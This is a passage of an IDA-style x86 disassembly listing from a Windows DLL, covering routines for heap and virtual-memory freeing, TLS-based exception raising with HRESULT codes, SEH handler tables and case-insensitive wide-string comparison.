mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_69B2E521: ; CODE XREF: sub_69B2E49A+74j
; sub_69B2E49A+7Dj
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B2E530
push [ebp+var_4]
push edi
call sub_69B18788
loc_69B2E530: ; CODE XREF: sub_69B2E49A+8Bj
mov eax, esi
jmp loc_69B2E652
; ---------------------------------------------------------------------------
loc_69B2E537: ; CODE XREF: sub_69B2E49A+2Cj
; sub_69B2E49A+31j
mov edi, ebx
and edi, 0FFFFF000h
push edi
call sub_69B2E659
test al, al
jz loc_69B2E64F
mov eax, [edi]
test eax, eax
jz loc_69B2E64F
mov ecx, dword_69B949F8
lea edx, [edi+110h]
cmp ebx, edx
jb loc_69B2E64F
and eax, 0FFFFFFFEh
mov [ebp+arg_0], eax
sub eax, ecx
sub eax, 14h
cdq
mov esi, 2270h
idiv esi
test eax, eax
jl loc_69B2E64F
cmp eax, [ecx]
jge loc_69B2E64F
imul eax, 2270h
lea eax, [eax+ecx+14h]
cmp [ebp+arg_0], eax
jnz loc_69B2E64F
sub ebx, edi
sub ebx, 110h
sar ebx, 4
push edi
lea esi, [ebx+edi+10h]
call sub_69B2E425
cmp eax, 0FFFFFFFFh
setnz dl
test dl, dl
jnz short loc_69B2E5D7
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B2E5CC
cmp [ecx+50h], edi
jz short loc_69B2E5D7
loc_69B2E5CC: ; CODE XREF: sub_69B2E49A+12Bj
lea eax, [edi+4]
push eax ; Target
call sub_69B18980
mov dl, 1
loc_69B2E5D7: ; CODE XREF: sub_69B2E49A+124j
; sub_69B2E49A+130j
mov cl, [esi]
test cl, cl
jnz short loc_69B2E5F0
lea ecx, [edi+10h]
loc_69B2E5E0: ; CODE XREF: sub_69B2E49A+14Ej
cmp esi, ecx
jbe short loc_69B2E5EA
dec esi
cmp byte ptr [esi], 0
jz short loc_69B2E5E0
loc_69B2E5EA: ; CODE XREF: sub_69B2E49A+148j
mov cl, [esi]
test cl, cl
jz short loc_69B2E61A
loc_69B2E5F0: ; CODE XREF: sub_69B2E49A+141j
sub esi, edi
inc esi
movzx ecx, cl
shl esi, 4
add esi, edi
shl ecx, 4
add ecx, esi
cmp esi, ecx
mov [ebp+var_4], esi
jnb short loc_69B2E616
cmp dword ptr [esi], 0
jz short loc_69B2E616
mov ecx, [esi+4]
mov esi, [ebp+arg_4]
mov [esi], ecx
jmp short loc_69B2E61A
; ---------------------------------------------------------------------------
loc_69B2E616: ; CODE XREF: sub_69B2E49A+16Bj
; sub_69B2E49A+170j
and [ebp+var_4], 0
loc_69B2E61A: ; CODE XREF: sub_69B2E49A+154j
; sub_69B2E49A+17Aj
test dl, dl
jz short loc_69B2E64F
push eax
add edi, 4
push edi
call sub_69B18788
jmp short loc_69B2E64F
; ---------------------------------------------------------------------------
loc_69B2E62A: ; CODE XREF: sub_69B2E49A+16j
push ebx
call sub_69B2E659
test al, al
jz short loc_69B2E64F
test bl, 1
jnz short loc_69B2E64F
mov eax, [ebx]
test eax, eax
jz short loc_69B2E64F
mov ecx, ebx
call dword ptr [eax+10h]
mov ecx, [ebp+arg_4]
mov [ebp+var_4], eax
mov eax, [eax+4]
mov [ecx], eax
loc_69B2E64F: ; CODE XREF: sub_69B2E49A+ADj
; sub_69B2E49A+B7j ...
mov eax, [ebp+var_4]
loc_69B2E652: ; CODE XREF: sub_69B2E49A+98j
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B2E49A endp
; =============== S U B R O U T I N E =======================================
sub_69B2E659 proc near ; CODE XREF: sub_69B2E49A+25p
; sub_69B2E49A+A6p ...
arg_0 = dword ptr 4
cmp byte_69B929BC, 0
jz short loc_69B2E666
xor al, al
jmp short locret_69B2E6D0
; ---------------------------------------------------------------------------
loc_69B2E666: ; CODE XREF: sub_69B2E659+7j
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
jle short loc_69B2E6C6
test bl, 3
jnz short loc_69B2E6C6
cmp byte_69B95A00, 1
jnz short loc_69B2E683
call ds:DebugBreak ; DebugBreak
loc_69B2E683: ; CODE XREF: sub_69B2E659+22j
sar ebx, 2
mov eax, ebx
mov ecx, eax
sar ecx, 13h
mov ecx, dword_69B94A00[ecx*4]
test ecx, ecx
jz short loc_69B2E6C6
mov edx, eax
sar edx, 0Ch
and edx, 7Fh
mov edx, [ecx+edx*4+4]
test edx, edx
jz short loc_69B2E6C6
push esi
and eax, 0FFFh
xor esi, esi
mov ecx, eax
inc esi
and ecx, 1Fh
shl esi, cl
shr eax, 5
test [edx+eax*4+4], esi
pop esi
jz short loc_69B2E6C6
mov al, 1
jmp short loc_69B2E6C8
; ---------------------------------------------------------------------------
loc_69B2E6C6: ; CODE XREF: sub_69B2E659+14j
; sub_69B2E659+19j ...
xor al, al
loc_69B2E6C8: ; CODE XREF: sub_69B2E659+6Bj
mov byte_69B95A00, 0
pop ebx
locret_69B2E6D0: ; CODE XREF: sub_69B2E659+Bj
retn 4
sub_69B2E659 endp
; ---------------------------------------------------------------------------
jmp sub_69B1B1F3
; =============== S U B R O U T I N E =======================================
sub_69B2E6D8 proc near ; CODE XREF: sub_69B14EAC+1D3p
; sub_69B171A0:loc_69B171BDp ...
push 80070057h
call sub_69B2E8B8
retn
sub_69B2E6D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2E6E3 proc near ; CODE XREF: sub_69B4E212+2Fp
; sub_69B660A0+32p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
mov edi, [ebp+arg_8]
add eax, ebx
cmp eax, [edi+8]
mov esi, ecx
jg short loc_69B2E705
mov eax, [ebp+arg_0]
add eax, ebx
cmp eax, [esi+8]
jle short loc_69B2E70F
loc_69B2E705: ; CODE XREF: sub_69B2E6E3+16j
push 80070057h
call sub_69B2E8B8
loc_69B2E70F: ; CODE XREF: sub_69B2E6E3+20j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov ecx, eax
imul ecx, [ebp+arg_C]
lea edi, [ecx+edi+0Ch]
mov ecx, eax
imul ecx, [ebp+arg_0]
cmp [ebp+arg_8], esi
mov [ebp+arg_4], eax
lea ecx, [ecx+esi+0Ch]
jnz short loc_69B2E761
cmp edi, ecx
jnb short loc_69B2E761
dec ebx
imul eax, ebx
add ecx, eax
add edi, eax
test ebx, ebx
mov [ebp+arg_C], ecx
jl short loc_69B2E77F
inc ebx
jmp short loc_69B2E74B
; ---------------------------------------------------------------------------
loc_69B2E748: ; CODE XREF: sub_69B2E6E3+7Aj
mov ecx, [ebp+arg_C]
loc_69B2E74B: ; CODE XREF: sub_69B2E6E3+63j
mov eax, [esi]
push edi
push ecx
mov ecx, esi
call dword ptr [eax+3Ch]
mov eax, [ebp+arg_4]
sub [ebp+arg_C], eax
sub edi, eax
dec ebx
jnz short loc_69B2E748
jmp short loc_69B2E77F
; ---------------------------------------------------------------------------
loc_69B2E761: ; CODE XREF: sub_69B2E6E3+4Dj
; sub_69B2E6E3+51j
test ebx, ebx
jle short loc_69B2E77F
mov [ebp+arg_C], ecx
sub [ebp+arg_C], edi
loc_69B2E76B: ; CODE XREF: sub_69B2E6E3+9Aj
mov ecx, [ebp+arg_C]
mov eax, [esi]
add ecx, edi
push edi
push ecx
mov ecx, esi
call dword ptr [eax+3Ch]
add edi, [ebp+arg_4]
dec ebx
jnz short loc_69B2E76B
loc_69B2E77F: ; CODE XREF: sub_69B2E6E3+60j
; sub_69B2E6E3+7Cj ...
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B2E6E3 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_69B2E786(int, LPVOID lpMem)
sub_69B2E786 proc near ; CODE XREF: sub_69B1A48F+9629p
arg_0 = dword ptr 4
lpMem = dword ptr 8
push esi
mov esi, [esp+4+lpMem]
push 400000h
push dword ptr [esi+10h]
call sub_69B2E438
push 8000h ; dwFreeType
push 0 ; dwSize
push dword ptr [esi+10h] ; lpAddress
call ds:VirtualFree ; VirtualFree
mov ecx, [esp+4+arg_0]
lea eax, [ecx+2020h]
cmp [eax], esi
jnz short loc_69B2E7BB
mov edx, [esi+4]
mov [eax], edx
loc_69B2E7BB: ; CODE XREF: sub_69B2E786+2Ej
cmp esi, ecx
jz short loc_69B2E7EF
mov eax, [esi+4]
mov ecx, [esi]
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
push esi ; lpMem
mov [eax+4], ecx
cmp dword_69B92940, 0
push 0 ; dwFlags
push hHeap ; hHeap
jnz short loc_69B2E7E8
call ds:HeapFree
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B2E7E8: ; CODE XREF: sub_69B2E786+58j
call sub_69B2D4AB
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B2E7EF: ; CODE XREF: sub_69B2E786+37j
or dword ptr [ecx+10h], 0FFFFFFFFh
pop esi
retn
sub_69B2E786 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B2E7F5 proc near ; DATA XREF: .text:69B1D3B0o
mov eax, offset off_69B2E7FC
retn
sub_69B2E7F5 endp
; ---------------------------------------------------------------------------
align 4
off_69B2E7FC dd offset dword_69B18894 ; DATA XREF: sub_69B2E7F5o
dd 0
; =============== S U B R O U T I N E =======================================
sub_69B2E804 proc near ; CODE XREF: sub_69B22994+10p
; sub_69B24123+10p ...
mov eax, [ecx+8]
retn
sub_69B2E804 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E808 proc near ; CODE XREF: sub_69B22994+3p
; sub_69B24123+3p ...
push dwTlsIndex
call dword_69B92970
mov eax, [eax+38h]
retn
sub_69B2E808 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E818 proc near ; CODE XREF: sub_69B57011+1Fp
; sub_69B70EC9+21p ...
arg_0 = dword ptr 4
push dwTlsIndex
call dword_69B92970
push [esp+arg_0]
add eax, 38h
push eax
call sub_69B17320
retn 4
sub_69B2E818 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E834 proc near ; CODE XREF: sub_69B2E860+Fp
; sub_69B2E875+1p ...
arg_0 = dword ptr 4
push dwTlsIndex
call dword_69B92970
push [esp+arg_0]
add eax, 38h
push eax
call sub_69B17320
xor eax, eax
push eax ; lpArguments
push eax ; nNumberOfArguments
push eax ; dwExceptionFlags
push 0E0000001h ; dwExceptionCode
call ds:RaiseException ; RaiseException
retn 4
sub_69B2E834 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E860 proc near ; CODE XREF: sub_69B235A3+Bp
; sub_69B23E3C:loc_69B23E7Ep ...
push dwTlsIndex
call dword_69B92970
push dword ptr [eax+38h]
call sub_69B2E834
retn
sub_69B2E860 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E875 proc near ; CODE XREF: sub_69B3C634+10Dp
; sub_69B3EBE4+110p ...
push ecx
call sub_69B2E834
retn
sub_69B2E875 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E87C proc near ; CODE XREF: sub_69B1DAA0:loc_69B1DAD2p
; sub_69B17F2C:loc_69B22BC8p ...
push dwTlsIndex
call dword_69B92970
cmp byte ptr [eax+1Bh], 0
jnz short locret_69B2E8A1
mov eax, dword_69B95A04
test eax, eax
jz short loc_69B2E89A
push eax
jmp short loc_69B2E89C
; ---------------------------------------------------------------------------
loc_69B2E89A: ; CODE XREF: sub_69B2E87C+19j
push 0
loc_69B2E89C: ; CODE XREF: sub_69B2E87C+1Cj
call sub_69B2E834
locret_69B2E8A1: ; CODE XREF: sub_69B2E87C+10j
retn
sub_69B2E87C endp
; =============== S U B R O U T I N E =======================================
sub_69B2E8A2 proc near ; CODE XREF: sub_69B4BD17+6A3p
; sub_69B61B50+9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_0]
push [esp+4+arg_4]
call sub_69B1D342
push eax
call sub_69B2E834
retn 8
sub_69B2E8A2 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E8B8 proc near ; CODE XREF: sub_69B1B814+84ABp
; sub_69B1B814+84C4p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_69B1D342
push eax
call sub_69B2E834
retn 4
sub_69B2E8B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E8CC proc near ; CODE XREF: sub_69B3E0AB+53p
; sub_69B57011+16p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
push esi
lea eax, [esp+4+arg_C]
push eax
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
call sub_69B2F72E
push 24h
mov esi, eax
call sub_69B17EF3
test eax, eax
jz short loc_69B2E8F6
push esi
mov ecx, eax
call sub_69B1D366
jmp short loc_69B2E8F8
; ---------------------------------------------------------------------------
loc_69B2E8F6: ; CODE XREF: sub_69B2E8CC+1Ej
xor eax, eax
loc_69B2E8F8: ; CODE XREF: sub_69B2E8CC+28j
mov ecx, [esp+4+arg_0]
mov [eax+8], ecx
pop esi
retn
sub_69B2E8CC endp
; =============== S U B R O U T I N E =======================================
sub_69B2E901 proc near ; CODE XREF: sub_69B8B17B+4Ap
; sub_69B8B35A+98p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B1D342
mov ecx, [esp+arg_8]
mov [eax+18h], ecx
mov ecx, [esp+arg_C]
push eax
mov [eax+1Ch], ecx
call sub_69B2E834
retn 10h
sub_69B2E901 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E925 proc near ; CODE XREF: sub_69B1CA7C:loc_69B1CBBAp
; sub_69B1CA7C:loc_69B22CDFp ...
push esi
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jg short loc_69B2E936
call esi ; GetLastError
jmp short loc_69B2E942
; ---------------------------------------------------------------------------
loc_69B2E936: ; CODE XREF: sub_69B2E925+Bj
call esi ; GetLastError
and eax, 0FFFFh
or eax, 80070000h
loc_69B2E942: ; CODE XREF: sub_69B2E925+Fj
push eax
call sub_69B2E8B8
pop esi
retn
sub_69B2E925 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E94A proc near ; CODE XREF: sub_69B22907+3p
; sub_69B2298B+3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push edi
mov edi, [eax]
cmp dword ptr [edi], 0C0000005h
jnz short loc_69B2E95D
xor eax, eax
jmp short loc_69B2E9CC
; ---------------------------------------------------------------------------
loc_69B2E95D: ; CODE XREF: sub_69B2E94A+Dj
push esi
push dwTlsIndex
call dword_69B92970
mov edi, [edi]
cmp edi, 0E0000001h
mov esi, eax
jnz short loc_69B2E989
mov eax, [esi+38h]
test eax, eax
jz short loc_69B2E982
mov edi, [eax+8]
jmp short loc_69B2E9C5
; ---------------------------------------------------------------------------
loc_69B2E982: ; CODE XREF: sub_69B2E94A+31j
mov edi, 80004005h
jmp short loc_69B2E9C5
; ---------------------------------------------------------------------------
loc_69B2E989: ; CODE XREF: sub_69B2E94A+2Aj
push ebx
mov bl, [esi+1Bh]
push ebp
push 24h
mov byte ptr [esi+1Bh], 1
call sub_69B17EF3
test eax, eax
jz short loc_69B2E9AD
push offset off_69B1A5AC
mov ecx, eax
call sub_69B1D366
mov ebp, eax
jmp short loc_69B2E9AF
; ---------------------------------------------------------------------------
loc_69B2E9AD: ; CODE XREF: sub_69B2E94A+51j
xor ebp, ebp
loc_69B2E9AF: ; CODE XREF: sub_69B2E94A+61j
push ebp
lea eax, [esi+38h]
push eax
mov [esi+1Bh], bl
call sub_69B17320
test ebp, ebp
jz short loc_69B2E9C3
mov [ebp+8], edi
loc_69B2E9C3: ; CODE XREF: sub_69B2E94A+74j
pop ebp
pop ebx
loc_69B2E9C5: ; CODE XREF: sub_69B2E94A+36j
; sub_69B2E94A+3Dj
xor eax, eax
mov [esi+34h], edi
inc eax
pop esi
loc_69B2E9CC: ; CODE XREF: sub_69B2E94A+11j
pop edi
retn 4
sub_69B2E94A endp
; =============== S U B R O U T I N E =======================================
sub_69B2E9D0 proc near ; CODE XREF: sub_69B14EAC+55p
; sub_69B20F54+ACp ...
push 0Ch
push offset dword_69B2EA20
call sub_69B19C5C
and dword ptr [ebp-4], 0
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_69B2F72E
mov [ebp-1Ch], eax
jmp short loc_69B2EA02
; ---------------------------------------------------------------------------
loc_69B2E9F4: ; DATA XREF: .text:69B2EA24o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2E9FD: ; DATA XREF: .text:69B2EA28o
mov esp, [ebp-18h]
xor eax, eax
loc_69B2EA02: ; CODE XREF: sub_69B2E9D0+22j
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
push dword ptr [ebp+8]
call sub_69B1D342
push eax
call sub_69B2E834
call sub_69B1853C
retn
sub_69B2E9D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B2EA20 dd 0FFFFFFFFh dd offset loc_69B2E9F4
dd offset loc_69B2E9FD
; =============== S U B R O U T I N E =======================================
sub_69B2EA2C proc near ; DATA XREF: .text:69B1D3CCo
push 1Ch
push offset dword_69B2EAB0
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
call sub_69B1B42A
push eax
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
mov eax, [edi]
mov [ebp-2Ch], eax
test eax, eax
jnz short loc_69B2EA70
mov eax, [esi+8]
test eax, eax
jz short loc_69B2EA70
push eax
call sub_69B1D411
push eax
mov ecx, edi
call sub_69B199CC
loc_69B2EA70: ; CODE XREF: sub_69B2EA2C+2Dj
; sub_69B2EA2C+34j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B2EA96
; ---------------------------------------------------------------------------
loc_69B2EA76: ; DATA XREF: .text:69B2EAB4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2EA7F: ; DATA XREF: .text:69B2EAB8o
mov esp, [ebp-18h]
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B2EA96: ; CODE XREF: sub_69B2EA2C+48j
mov esi, [esi+0Ch]
lea ecx, [ebp-28h]
call sub_69B1976C
mov eax, esi
call sub_69B1853C
retn
sub_69B2EA2C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B2EAB0 dd 0FFFFFFFFh dd offset loc_69B2EA76
dd offset loc_69B2EA7F
; =============== S U B R O U T I N E =======================================
sub_69B2EABC proc near ; CODE XREF: sub_69B3E947+54p
; sub_69B4E634+312p
push 18h
push offset dword_69B2EB58
call sub_69B19C5C
mov esi, ecx
cmp esi, dword_69B95A04
jz short loc_69B2EB49
call sub_69B1B42A
push eax
lea ecx, [ebp-24h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
call sub_69B1B42A
mov edi, eax
mov ecx, esi
call sub_69B1B42A
cmp edi, eax
jz short loc_69B2EB04
mov ecx, [ebp+8]
call sub_69B2F12E
mov [ebp+8], eax
loc_69B2EB04: ; CODE XREF: sub_69B2EABC+3Bj
add esi, 0Ch
mov eax, [esi]
mov [ebp-28h], eax
push 0
push eax
push dword ptr [ebp+8]
call sub_69B2F2CA
add esp, 0Ch
push eax
mov ecx, esi
call sub_69B199CC
jmp short loc_69B2EB3D
; ---------------------------------------------------------------------------
loc_69B2EB24: ; DATA XREF: .text:69B2EB5Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2EB2D: ; DATA XREF: .text:69B2EB60o
mov esp, [ebp-18h]
lea ecx, [ebp-24h]
call sub_69B2D599
call sub_69B2E860
loc_69B2EB3D: ; CODE XREF: sub_69B2EABC+66j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-24h]
call sub_69B1976C
loc_69B2EB49: ; CODE XREF: sub_69B2EABC+14j
call sub_69B1853C
retn 4
sub_69B2EABC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B2EB58 dd 0FFFFFFFFh dd offset loc_69B2EB24
dd offset loc_69B2EB2D
; =============== S U B R O U T I N E =======================================
sub_69B2EB64 proc near ; CODE XREF: sub_69B3E374+63p
push 18h
push offset dword_69B2EC00
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
cmp esi, dword_69B95A04
jz short loc_69B2EBF1
cmp dword ptr [ebp+8], 0
jz short loc_69B2EBE5
mov ecx, [ebp+8]
call sub_69B1B42A
mov edi, eax
mov ecx, esi
call sub_69B1B42A
cmp edi, eax
jz short loc_69B2EBE5
mov ecx, esi
call sub_69B1B42A
push eax
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
call sub_69B2F12E
mov [ebp+8], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B2EBDD
; ---------------------------------------------------------------------------
loc_69B2EBBD: ; DATA XREF: .text:69B2EC04o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2EBC6: ; DATA XREF: .text:69B2EC08o
mov esp, [ebp-18h]
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B2EBDD: ; CODE XREF: sub_69B2EB64+57j
lea ecx, [ebp-28h]
call sub_69B1976C
loc_69B2EBE5: ; CODE XREF: sub_69B2EB64+1Dj
; sub_69B2EB64+32j
push dword ptr [ebp+8]
add esi, 14h
push esi
call sub_69B17320
loc_69B2EBF1: ; CODE XREF: sub_69B2EB64+17j
call sub_69B1853C
retn 4
sub_69B2EB64 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B2EC00 dd 0FFFFFFFFh dd offset loc_69B2EBBD
dd offset loc_69B2EBC6
; =============== S U B R O U T I N E =======================================
sub_69B2EC0C proc near ; CODE XREF: sub_69B3E374+ABp
; sub_69B3E374+BAp ...
push 18h
push offset dword_69B2ECA8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
cmp esi, dword_69B95A04
jz short loc_69B2EC99
cmp dword ptr [ebp+8], 0
jz short loc_69B2EC8D
mov ecx, [ebp+8]
call sub_69B1B42A
mov edi, eax
mov ecx, esi
call sub_69B1B42A
cmp edi, eax
jz short loc_69B2EC8D
mov ecx, esi
call sub_69B1B42A
push eax
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
call sub_69B2F12E
mov [ebp+8], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B2EC85
; ---------------------------------------------------------------------------
loc_69B2EC65: ; DATA XREF: .text:69B2ECACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2EC6E: ; DATA XREF: .text:69B2ECB0o
mov esp, [ebp-18h]
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B2EC85: ; CODE XREF: sub_69B2EC0C+57j
lea ecx, [ebp-28h]
call sub_69B1976C
loc_69B2EC8D: ; CODE XREF: sub_69B2EC0C+1Dj
; sub_69B2EC0C+32j
push dword ptr [ebp+8]
add esi, 10h
push esi
call sub_69B17320
loc_69B2EC99: ; CODE XREF: sub_69B2EC0C+17j
call sub_69B1853C
retn 4
sub_69B2EC0C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B2ECA8 dd 0FFFFFFFFh dd offset loc_69B2EC65
dd offset loc_69B2EC6E
; =============== S U B R O U T I N E =======================================
sub_69B2ECB4 proc near ; CODE XREF: sub_69B2F43C+1Bp
; sub_69B2F43C+38p ...
arg_0 = word ptr 4
movzx eax, [esp+arg_0]
mov ecx, eax
shr ecx, 8
mov ecx, off_69B98030[ecx*4]
and eax, 0FFh
movzx eax, byte ptr [eax+ecx]
and eax, 1
retn 4
sub_69B2ECB4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2ECD4 proc near ; DATA XREF: .text:69B1F95Co
mov eax, offset off_69B2ECDC
retn
sub_69B2ECD4 endp
; ---------------------------------------------------------------------------
align 4
off_69B2ECDC dd offset off_69B1888C ; DATA XREF: sub_69B2ECD4o
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
sub_69B2ECE4 proc near ; CODE XREF: sub_69B2EFDA+7p
; sub_69B4AAFC+15Dp
arg_0 = dword ptr 4
push [esp+arg_0]
lea eax, [ecx+8]
push eax
push dword ptr [ecx+0Ch]
call sub_69B310BE
retn 4
sub_69B2ECE4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2ECF7 proc near ; CODE XREF: sub_69B4D7A3+86p
; sub_69B4D7A3+9Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ecx
mov ecx, [eax+8]
cmp ecx, [esp+arg_4]
jle short loc_69B2ED06
mov ecx, [esp+arg_4]
loc_69B2ED06: ; CODE XREF: sub_69B2ECF7+9j
push esi
mov esi, [eax+0Ch]
push edi
mov edi, [esp+8+arg_0]
rep movsw
pop edi
pop esi
retn 8
sub_69B2ECF7 endp
; =============== S U B R O U T I N E =======================================
sub_69B2ED17 proc near ; CODE XREF: sub_69B2CA1A+46p
; sub_69B3694C+1Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
loc_69B2ED20: ; CODE XREF: sub_69B2ED17+3Fj
xor eax, eax
mov ax, [edx]
cmp ax, 5Ah
ja short loc_69B2ED34
cmp ax, 41h
lea ecx, [eax+20h]
jnb short loc_69B2ED36
loc_69B2ED34: ; CODE XREF: sub_69B2ED17+12j
mov ecx, eax
loc_69B2ED36: ; CODE XREF: sub_69B2ED17+1Bj
xor eax, eax
mov ax, [esi]
cmp ax, 5Ah
ja short loc_69B2ED4A
cmp ax, 41h
jb short loc_69B2ED4A
add eax, 20h
loc_69B2ED4A: ; CODE XREF: sub_69B2ED17+28j
; sub_69B2ED17+2Ej
inc edx
inc edx
inc esi
inc esi
test cx, cx
jz short loc_69B2ED58
cmp cx, ax
jz short loc_69B2ED20
loc_69B2ED58: ; CODE XREF: sub_69B2ED17+3Aj
movzx edx, ax
movzx eax, cx
sub eax, edx
pop esi
retn 8
sub_69B2ED17 endp
; =============== S U B R O U T I N E =======================================
sub_69B2ED64 proc near ; CODE XREF: sub_69B4D200+12p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor eax, eax
cmp [esp+arg_8], eax
jz short locret_69B2EDBC
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
loc_69B2ED75: ; CODE XREF: sub_69B2ED64+4Dj
xor eax, eax
mov ax, [edx]
cmp ax, 5Ah
ja short loc_69B2ED89
cmp ax, 41h
lea ecx, [eax+20h]
jnb short loc_69B2ED8B
loc_69B2ED89: ; CODE XREF: sub_69B2ED64+1Aj
mov ecx, eax
loc_69B2ED8B: ; CODE XREF: sub_69B2ED64+23j
xor eax, eax
mov ax, [esi]
cmp ax, 5Ah
ja short loc_69B2ED9F
cmp ax, 41h
jb short loc_69B2ED9F
add eax, 20h
loc_69B2ED9F: ; CODE XREF: sub_69B2ED64+30j
; sub_69B2ED64+36j
inc edx
inc edx
inc esi
inc esi
dec [esp+4+arg_8]
jz short loc_69B2EDB3
test cx, cx
jz short loc_69B2EDB3
cmp cx, ax
jz short loc_69B2ED75
loc_69B2EDB3: ; CODE XREF: sub_69B2ED64+43j
; sub_69B2ED64+48j
movzx edx, ax
movzx eax, cx
sub eax, edx
pop esi
locret_69B2EDBC: ; CODE XREF: sub_69B2ED64+6j
retn 0Ch
sub_69B2ED64 endp
; =============== S U B R O U T I N E =======================================
sub_69B2EDBF proc near ; CODE XREF: sub_69B2F19F+Ep
; sub_69B6699A+133p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, [ecx+8]
jge short loc_69B2EDD5
test eax, eax
jl short loc_69B2EDD5
mov ecx, [ecx+0Ch]
mov ax, [ecx+eax*2]
jmp short locret_69B2EDD8
; ---------------------------------------------------------------------------
loc_69B2EDD5: ; CODE XREF: sub_69B2EDBF+7j
; sub_69B2EDBF+Bj
xor ax, ax
locret_69B2EDD8: ; CODE XREF: sub_69B2EDBF+14j
retn 4
sub_69B2EDBF endp
; =============== S U B R O U T I N E =======================================
sub_69B2EDDB proc near ; CODE XREF: sub_69B88E7C+13p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jl short loc_69B2EDEC
cmp edi, [esi+8]
jl short loc_69B2EDF1
loc_69B2EDEC: ; CODE XREF: sub_69B2EDDB+Aj
call sub_69B2E6D8
loc_69B2EDF1: ; CODE XREF: sub_69B2EDDB+Fj
lea eax, [esi+edi*2+0Ch]
pop edi
pop esi
retn 4
sub_69B2EDDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2EDFA(LPCWSTR lpString, int)
sub_69B2EDFA proc near ; CODE XREF: sub_69B7C60C+70p
; sub_69B8B9D9+ACp
lpString = dword ptr 8
